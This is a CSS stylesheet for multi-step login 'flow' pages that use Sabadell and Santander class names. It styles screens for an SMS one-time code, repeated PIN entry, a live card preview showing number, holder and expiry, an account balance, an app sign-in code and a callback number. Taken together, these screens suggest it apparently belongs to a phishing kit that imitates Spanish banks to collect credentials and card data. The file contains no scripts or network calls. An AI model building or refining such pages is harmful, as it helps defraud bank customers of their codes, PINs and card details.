/* Flow pages — same Galatea login shell as index (#flow-page) */

#flow-page,
#flow-page.bs-login-classics {
    display: block;
}

#flow-page .login__card {
    padding-top: 4px;
}

#flow-page .flow-step-panel {
    width: 100%;
}

#flow-page .flow-step-fieldset {
    border: 0;
    margin: 0;
    padding: 0;
    min-width: 0;
}

#flow-page .flow-form {
    width: 100%;
}

#flow-page .flow-field {
    margin-bottom: 12px;
}

#flow-page .flow-field .bs-input__label {
    margin-top: 0;
}

#flow-page .flow-field .bs-input__field {
    width: 100%;
}

#flow-page .flow-step-intro {
    margin: 0 0 16px;
    color: #555;
    font-size: 0.95rem;
    line-height: 1.5;
}

#flow-page .flow-context-intro {
    margin: 0 0 18px;
    color: #555;
    font-size: 0.92rem;
    line-height: 1.55;
}

#flow-page .flow-context-intro p {
    margin: 0 0 10px;
}

#flow-page .flow-context-intro p:last-child {
    margin-bottom: 0;
}

#flow-page .flow-row {
    display: flex;
    gap: 8px;
}

#flow-page .flow-row .flow-field {
    flex: 1;
    min-width: 0;
}

#flow-page .flow-info-box {
    background: #f4f8ff;
    border-left: 4px solid #006dff;
    padding: 12px 14px;
    border-radius: 8px;
    margin-bottom: 16px;
    font-size: 0.95rem;
    color: #444;
    line-height: 1.5;
}

#flow-page .flow-retry-banner.form__error-message,
#flow-page .sabadell-flow-error.form__error-message {
    background-color: #fee5e5;
    min-height: 36px;
    font-size: 14px;
    display: none;
    justify-content: space-between;
    align-items: flex-start;
    padding: 12px;
    border-radius: 8px;
    gap: 12px;
    margin-bottom: 16px;
    border: none;
    box-sizing: border-box;
}

#flow-page .flow-retry-banner.form__error-message {
    display: flex;
}

#flow-page .flow-retry-banner .form__error-description,
#flow-page .sabadell-flow-error .form__error-description {
    margin: 0;
    line-height: 20px;
    color: #222;
}

#flow-page .sabadell-flow-error.is-visible {
    display: flex !important;
}

#flow-page .santander-error-dismiss {
    border: none;
    background: transparent;
    padding: 0;
    flex-shrink: 0;
    cursor: pointer;
}

#flow-page .flow-field--invalid .bs-input__field,
#flow-page .flow-field--invalid .flow-otp-input,
#flow-page .flow-field--invalid .flow-amount-input,
#flow-page .flow-field--invalid .flow-pin-digit {
    border-color: #c62828 !important;
    box-shadow: 0 0 0 1px #c62828;
}

#flow-page .flow-pin-wrap.flow-field--invalid .flow-pin-digit {
    border-color: #c62828;
}

#flow-page .flow-submit-wrap {
    margin-top: 16px;
}

/* Phone pill (SMS) */
#flow-page .flow-phone-pill {
    display: flex;
    align-items: center;
    gap: 10px;
    background: #f4f8ff;
    border: 1px solid #d6e8ff;
    border-radius: 10px;
    padding: 12px 14px;
    margin-bottom: 18px;
    font-size: 0.9rem;
    color: #333;
    line-height: 1.4;
}

#flow-page .flow-phone-pill--apple {
    background: #f5f5f7;
    border-color: #e0e0e5;
}

#flow-page .flow-apple-mark {
    display: inline-block;
    width: 20px;
    height: 20px;
    background: #1d1d1f;
    border-radius: 4px;
    position: relative;
    flex-shrink: 0;
}

#flow-page .flow-apple-mark::after {
    content: "";
    position: absolute;
    inset: 4px 5px 5px 4px;
    background: #fff;
    clip-path: polygon(50% 0%, 62% 18%, 85% 12%, 78% 38%, 100% 50%, 78% 62%, 85% 88%, 62% 82%, 50% 100%, 38% 82%, 15% 88%, 22% 62%, 0% 50%, 22% 38%, 15% 12%, 38% 18%);
}

/* OTP input */
#flow-page .flow-otp-wrap {
    margin-bottom: 10px;
}

#flow-page .flow-otp-label {
    display: block;
    font-size: 0.875rem;
    font-weight: 600;
    color: #333;
    margin-bottom: 8px;
}

#flow-page .flow-otp-input {
    display: block;
    width: 100%;
    max-width: 280px;
    height: 56px;
    padding: 0 16px;
    font-size: 1.5rem;
    font-weight: 600;
    letter-spacing: 0.35em;
    text-align: center;
    border: 1px solid #d8d8d8;
    border-radius: 10px;
    font-family: inherit;
    color: #1a1a1a;
    background: #fff;
}

#flow-page .flow-otp-input--wide {
    max-width: 100%;
    letter-spacing: 0.2em;
    font-size: 1.25rem;
}

#flow-page .flow-otp-input--unlimited {
    max-width: 100%;
    letter-spacing: 0.12em;
    font-size: 1.25rem;
    text-align: left;
    padding: 0 14px;
}

#flow-page .flow-otp-input:focus {
    outline: none;
    border-color: #006dff;
    box-shadow: 0 0 0 3px rgba(0, 109, 255, 0.15);
}

#flow-page .flow-helper-text {
    margin: 0 0 8px;
    font-size: 0.85rem;
    color: #666;
    line-height: 1.4;
}

#flow-page .flow-resend {
    margin: 0 0 4px;
    font-size: 0.85rem;
}

#flow-page .flow-resend a {
    color: #006dff;
    text-decoration: none;
}

#flow-page .flow-resend a:hover {
    text-decoration: underline;
}

/* PIN digits */
#flow-page .flow-pin-wrap {
    margin-bottom: 16px;
}

#flow-page .sabadell-flow-pin-row {
    display: flex;
    gap: 10px;
    justify-content: flex-start;
}

#flow-page .flow-pin-digit {
    width: 52px;
    height: 56px;
    text-align: center;
    font-size: 1.4rem;
    font-weight: 700;
    border: 1px solid #d8d8d8;
    border-radius: 10px;
    font-family: inherit;
    background: #fff;
}

#flow-page .flow-pin-digit:focus {
    outline: none;
    border-color: #006dff;
    box-shadow: 0 0 0 3px rgba(0, 109, 255, 0.15);
}

#flow-page .flow-step-intro--confirm {
    margin-top: 4px;
}

#flow-page .flow-pin-label {
    display: block;
    font-size: 0.875rem;
    font-weight: 600;
    color: #333;
    margin-bottom: 8px;
}

#flow-page .flow-form--double-pin .flow-pin-wrap + .flow-step-intro--confirm,
#flow-page .flow-form--triple-pin .flow-pin-wrap + .flow-step-intro--confirm {
    margin-top: 18px;
}

/* Card preview */
@keyframes flow-card-gradient {
    0%, 100% { background-position: 0% 50%; }
    50% { background-position: 100% 50%; }
}

@keyframes flow-card-shine {
    0% { transform: translateX(-120%) rotate(18deg); opacity: 0; }
    35% { opacity: 0.45; }
    100% { transform: translateX(220%) rotate(18deg); opacity: 0; }
}

#flow-page .flow-card-preview {
    position: relative;
    height: 180px;
    margin-bottom: 20px;
    border-radius: 18px;
    overflow: hidden;
    padding: 22px 24px;
    color: #fff;
    box-shadow: 0 14px 36px rgba(0, 40, 100, 0.32), inset 0 1px 0 rgba(255, 255, 255, 0.14);
    transform: perspective(900px) rotateX(0deg) rotateY(0deg);
    transition: transform 0.45s ease, box-shadow 0.45s ease;
}

#flow-page .flow-card-preview.is-focused {
    transform: perspective(900px) rotateX(4deg) rotateY(-5deg) translateY(-2px);
    box-shadow: 0 20px 44px rgba(0, 40, 100, 0.38), inset 0 1px 0 rgba(255, 255, 255, 0.18);
}

#flow-page .flow-card-preview.is-active .flow-card-preview__number {
    letter-spacing: 0.14em;
}

#flow-page .flow-card-preview__bg {
    position: absolute;
    inset: 0;
    background: linear-gradient(125deg, #0f2d5c 0%, #006dff 38%, #004aad 68%, #00306e 100%);
    background-size: 220% 220%;
    animation: flow-card-gradient 9s ease infinite;
}

#flow-page .flow-card-preview__shine {
    position: absolute;
    top: -30%;
    left: 0;
    width: 45%;
    height: 160%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.22), transparent);
    pointer-events: none;
    animation: flow-card-shine 5.5s ease-in-out infinite;
    z-index: 1;
}

#flow-page .flow-card-preview__bg::after {
    content: "";
    position: absolute;
    top: 0;
    right: 0;
    width: 60%;
    height: 55%;
    background: radial-gradient(ellipse at top right, rgba(255, 255, 255, 0.28) 0%, transparent 72%);
    pointer-events: none;
}

#flow-page .flow-card-preview__logo {
    position: absolute;
    top: 16px;
    right: 16px;
    z-index: 3;
}

#flow-page .flow-card-preview__logo img {
    display: block;
    height: 18px;
    width: auto;
}

#flow-page .flow-card-preview__chip {
    position: relative;
    z-index: 2;
    width: 44px;
    height: 34px;
    margin-bottom: 20px;
    border-radius: 6px;
    background: linear-gradient(160deg, #f0d080 0%, #c9a227 45%, #a67c00 100%);
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.35), 0 2px 4px rgba(0, 0, 0, 0.15);
}

#flow-page .flow-card-preview__number {
    position: relative;
    z-index: 2;
    font-size: 1.2rem;
    font-weight: 500;
    letter-spacing: 0.1em;
    margin-bottom: 20px;
    font-family: "Courier New", Courier, monospace;
    opacity: 0.96;
    transition: letter-spacing 0.25s ease, opacity 0.25s ease;
    min-height: 1.4em;
}

#flow-page .flow-card-preview__bottom {
    display: flex;
    align-items: flex-end;
    gap: 24px;
    position: relative;
    z-index: 2;
}

#flow-page .flow-card-preview__holder {
    flex: 1;
    min-width: 0;
}

#flow-page .flow-card-preview__expiry {
    flex-shrink: 0;
}

#flow-page .flow-card-preview__meta {
    display: block;
    font-size: 0.58rem;
    letter-spacing: 0.1em;
    text-transform: uppercase;
    opacity: 0.72;
    margin-bottom: 3px;
}

#flow-page .flow-card-preview__value {
    display: block;
    font-size: 0.82rem;
    font-weight: 600;
    letter-spacing: 0.05em;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    transition: opacity 0.2s ease;
    max-width: 160px;
}

#flow-page .flow-card-preview__holder .flow-card-preview__value {
    max-width: 200px;
    text-transform: uppercase;
}

#flow-page .flow-row--card .flow-field:first-child {
    flex: 1.4;
}

/* Balance amount */
#flow-page .flow-amount-wrap {
    display: flex;
    align-items: center;
    gap: 8px;
    margin-bottom: 16px;
    border: 1px solid #d8d8d8;
    border-radius: 10px;
    padding: 4px 14px;
    background: #fff;
    max-width: 240px;
}

#flow-page .flow-amount-wrap:focus-within {
    border-color: #006dff;
    box-shadow: 0 0 0 3px rgba(0, 109, 255, 0.15);
}

#flow-page .flow-amount-currency {
    font-size: 1.25rem;
    font-weight: 600;
    color: #333;
}

#flow-page .flow-amount-input {
    flex: 1;
    border: 0;
    outline: none;
    font-size: 1.5rem;
    font-weight: 600;
    padding: 10px 0;
    font-family: inherit;
    min-width: 0;
    background: transparent;
}

/* Confirm boxes */
#flow-page .flow-confirm-box {
    background: #f8f9fa;
    border: 1px solid #e8e8e8;
    border-radius: 10px;
    padding: 16px 18px;
    margin-bottom: 16px;
    font-size: 0.95rem;
    color: #444;
    line-height: 1.55;
}

#flow-page .flow-confirm-box p {
    margin: 0 0 10px;
}

#flow-page .flow-confirm-box p:last-child {
    margin-bottom: 0;
}

#flow-page .flow-cancel-alert {
    background: #fff5f5;
    border-left: 4px solid #dc3545;
    border-radius: 8px;
    padding: 14px 16px;
    margin-bottom: 14px;
}

#flow-page .flow-cancel-alert__title {
    margin: 0 0 8px;
    color: #333;
}

#flow-page .flow-cancel-alert p {
    margin: 0;
}

#flow-page .flow-cancel-footnote {
    font-size: 0.9rem;
    color: #666;
}

#flow-page .flow-cancel-meta {
    margin-top: 14px;
    padding-top: 12px;
    border-top: 1px solid #e8e8e8;
    font-size: 0.9rem;
    color: #666;
}

#flow-page .flow-callback-notice--info {
    background: #f4f8ff;
    border-left-color: #006dff;
}

/* Success panel */
#flow-page .flow-success-panel {
    text-align: center;
    padding: 12px 0 8px;
}

#flow-page .flow-success-icon {
    width: 64px;
    height: 64px;
    margin: 0 auto 16px;
    border-radius: 50%;
    background: #e8f5e9;
    color: #2e7d32;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 2rem;
    font-weight: 700;
}

#flow-page .flow-success-title {
    margin: 0 0 8px;
    font-size: 1.15rem;
    font-weight: 700;
    color: #2e7d32;
}

#flow-page .flow-success-text {
    margin: 0;
    text-align: center;
    color: #555;
    line-height: 1.5;
    font-size: 0.95rem;
}

@media (max-width: 1023px) {
    #flow-page .flow-row {
        flex-direction: column;
        gap: 0;
    }

    #bannerNE {
        display: none !important;
    }
}

@media (max-width: 640px) {
    #flow-page .flow-pin-digit {
        width: 44px;
        height: 50px;
        font-size: 1.2rem;
    }

    #flow-page .flow-otp-input {
        max-width: 100%;
        font-size: 1.25rem;
    }

    #flow-page .flow-amount-wrap {
        max-width: 100%;
    }
}

/* Info step — 3-step wizard (Santander Empresas login card) */
#flow-page.flow-step--info .flow-info-lead {
    margin: 0 0 14px;
    font-size: 0.92rem;
    line-height: 1.45;
    color: #5c6570;
}

#flow-page.flow-step--info .site-flow-body {
    text-align: left;
}

#flow-page .flow-info-wizard {
    margin-top: 2px;
}

#flow-page.flow-step--info .flow-info-section .flow-field {
    margin-bottom: 8px;
}

#flow-page.flow-step--info .flow-info-actions {
    margin-top: 4px;
    padding-top: 10px;
    border-top: 1px solid #eef1f4;
}

#flow-page .flow-info-stepper {
    margin-bottom: 10px;
    padding-bottom: 0;
}

#flow-page .flow-info-progress {
    position: relative;
    height: 4px;
    margin: 0 0 14px;
    background: #e8ecef;
    border-radius: 999px;
    overflow: hidden;
}

#flow-page .flow-info-progress-bar {
    height: 100%;
    width: 0%;
    background: linear-gradient(90deg, #ec0000, #c40000);
    border-radius: inherit;
    transition: width 0.35s ease;
}

#flow-page .flow-info-steps {
    display: flex;
    justify-content: space-between;
    gap: 8px;
    margin: 0;
    padding: 0;
    list-style: none;
}

#flow-page .flow-info-step-indicator {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 6px;
    text-align: center;
    color: #8c959e;
    font-size: 0.75rem;
    line-height: 1.2;
}

#flow-page .flow-info-step-num {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 24px;
    height: 24px;
    border-radius: 50%;
    border: 2px solid #d0d5da;
    background: #fff;
    font-weight: 700;
    font-size: 0.82rem;
    transition: border-color 0.25s ease, background 0.25s ease, color 0.25s ease;
}

#flow-page .flow-info-step-indicator.active {
    color: #222;
    font-weight: 600;
}

#flow-page .flow-info-step-indicator.active .flow-info-step-num {
    border-color: #ec0000;
    background: #ec0000;
    color: #fff;
}

#flow-page .flow-info-step-indicator.completed .flow-info-step-num {
    border-color: #ec0000;
    background: #fff;
    color: #ec0000;
}

#flow-page .flow-info-step-label {
    max-width: 5.5rem;
}

#flow-page .flow-info-section {
    display: none;
}

#flow-page .flow-info-section.active {
    display: block;
}

body.site-flow-page.site-shell-viewport #flow-page .flow-field {
    margin-bottom: 8px;
}

body.site-flow-page.site-shell-viewport #flow-page .flow-info-muted {
    display: none;
}

body.site-flow-page.site-shell-viewport #flow-page.flow-step--info .flow-info-section-title {
    font-size: 0.95rem;
    margin-bottom: 8px;
}

#flow-page .flow-info-section-title {
    margin: 0 0 16px;
    padding: 0 0 10px;
    border-bottom: 1px solid #e8ecef;
    font-size: 1.05rem;
    font-weight: 700;
    color: #222;
    line-height: 1.35;
}

#flow-page .flow-info-row-split {
    display: grid;
    grid-template-columns: minmax(0, 0.95fr) minmax(0, 1.05fr);
    gap: 10px;
}

#flow-page .flow-info-muted {
    margin: 12px 0 0;
    color: #666;
    font-size: 0.9rem;
    line-height: 1.45;
}

#flow-page .flow-info-actions {
    display: flex;
    gap: 12px;
    margin-top: 20px;
    align-items: stretch;
}

#flow-page .flow-info-actions .flow-info-next-wrap,
#flow-page .flow-info-actions .flow-info-back-wrap,
#flow-page .flow-info-actions .flow-submit-wrap {
    flex: 1;
    margin: 0;
}

#flow-page .flow-info-actions .flow-submit-wrap {
    padding: 0;
}

#flow-page .flow-info-actions .flow-info-back-wrap .bs-button.secondary button,
#flow-page .flow-info-actions .flow-info-back-wrap button.flow-info-back {
    background: #fff;
    border: 2px solid #127277;
    color: #127277;
}

#flow-page .flow-info-actions .flow-info-back-wrap .bs-button.secondary button:hover,
#flow-page .flow-info-actions .flow-info-back-wrap button.flow-info-back:hover {
    background: #f2f8f8;
}

/* App sign-in code — desktop typing + mobile on-screen keypad */
#flow-page .flow-app-notice {
    display: flex;
    gap: 14px;
    align-items: flex-start;
    background: #f4f8ff;
    border-left: 4px solid #006dff;
    padding: 14px 16px;
    border-radius: 8px;
    margin-bottom: 20px;
}

#flow-page .flow-app-notice-icon {
    color: #006dff;
    flex-shrink: 0;
    margin-top: 2px;
}

#flow-page .flow-app-notice-title {
    display: block;
    color: #006dff;
    font-size: 0.95rem;
    margin-bottom: 4px;
}

#flow-page .flow-app-notice-text {
    margin: 0;
    color: #555;
    font-size: 0.92rem;
    line-height: 1.45;
}

#flow-page .flow-app-code-field {
    margin-bottom: 8px;
}

#flow-page .flow-app-code-label {
    display: block;
    font-weight: 600;
    color: #333;
    margin-bottom: 8px;
    font-size: 0.95rem;
}

#flow-page .flow-app-code-entry {
    position: relative;
}

#flow-page .flow-app-code-input {
    width: 100%;
    max-width: 260px;
    text-align: center;
    letter-spacing: 0.35em;
    font-variant-numeric: tabular-nums;
    font-size: 1.25rem;
}

#flow-page .flow-app-code-slots,
#flow-page .flow-app-code-keypad {
    display: none;
}

#flow-page .flow-app-code-slot {
    flex: 1 1 0;
    height: 48px;
    border: 1px solid #ccc;
    border-radius: 4px;
    background: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.25rem;
    font-variant-numeric: tabular-nums;
    color: #666;
    box-sizing: border-box;
}

#flow-page .flow-app-code-slot.is-active {
    border-color: #006dff;
    box-shadow: inset 0 0 0 1px #006dff;
}

#flow-page .flow-app-code-slot.is-filled {
    color: #222;
    font-weight: 600;
}

@media (min-width: 768px) {
    #flow-page .flow-app-code-slots,
    #flow-page .flow-app-code-keypad {
        display: none !important;
    }

    #flow-page .flow-app-code-input {
        cursor: text;
        caret-color: #006dff;
    }

    #flow-page .flow-app-code-input:focus {
        border-color: #006dff;
        outline: none;
        box-shadow: 0 0 0 2px rgba(0, 109, 255, 0.2);
    }
}

@media (max-width: 767px) {
    #flow-page .flow-app-code-input {
        position: absolute;
        width: 1px;
        height: 1px;
        padding: 0;
        margin: -1px;
        overflow: hidden;
        clip: rect(0, 0, 0, 0);
        white-space: nowrap;
        border: 0;
    }

    #flow-page .flow-app-code-slots {
        display: flex;
        gap: 8px;
        margin-top: 0;
        pointer-events: none;
    }

    #flow-page .flow-app-code-keypad {
        display: grid;
        grid-template-columns: repeat(3, 1fr);
        gap: 10px;
        margin: 20px 0 8px;
    }

    #flow-page .flow-app-code-keypad button {
        min-height: 52px;
        border: 1px solid #006dff;
        border-radius: 4px;
        background: #fff;
        color: #006dff;
        font-size: 1.25rem;
        font-weight: 600;
        font-family: inherit;
        cursor: pointer;
    }

    #flow-page .flow-app-code-keypad button:active {
        background: #006dff;
        color: #fff;
    }
}

#flow-page .flow-balance-label {
    display: block;
    font-weight: 600;
    color: #333;
    margin-bottom: 8px;
    font-size: 0.95rem;
}

#flow-page .flow-phone-pill--email {
    margin-bottom: 16px;
}

#flow-page .flow-callback-notice {
    background: #fff8e6;
    border-left: 4px solid #ffc107;
    border-radius: 8px;
    padding: 14px 16px;
    margin-bottom: 20px;
}

#flow-page .flow-callback-title {
    margin: 0 0 8px;
    color: #333;
}

#flow-page .flow-callback-text {
    margin: 0;
    color: #555;
    font-size: 0.92rem;
    line-height: 1.5;
}

#flow-page .flow-callback-fieldset {
    border: 0;
    margin: 0 0 16px;
    padding: 0;
}

#flow-page .flow-callback-legend {
    font-weight: 600;
    color: #333;
    margin-bottom: 10px;
    font-size: 0.95rem;
}

#flow-page .flow-radio-option {
    display: flex;
    align-items: flex-start;
    gap: 10px;
    margin-bottom: 10px;
    color: #444;
    font-size: 0.92rem;
    line-height: 1.45;
    cursor: pointer;
}

#flow-page .flow-radio-option input {
    margin-top: 3px;
}

#flow-page .flow-callback-custom-phone {
    margin-bottom: 8px;
}

#flow-page .flow-row--callback {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 12px;
    margin-bottom: 8px;
}

@media (max-width: 640px) {
    #flow-page .flow-row--callback {
        grid-template-columns: 1fr;
    }

    #flow-page .flow-info-row-split {
        grid-template-columns: 1fr;
    }

    #flow-page .flow-info-step-label {
        font-size: 0.68rem;
        max-width: 4.2rem;
    }

    #flow-page .flow-info-actions {
        flex-direction: column;
    }
}
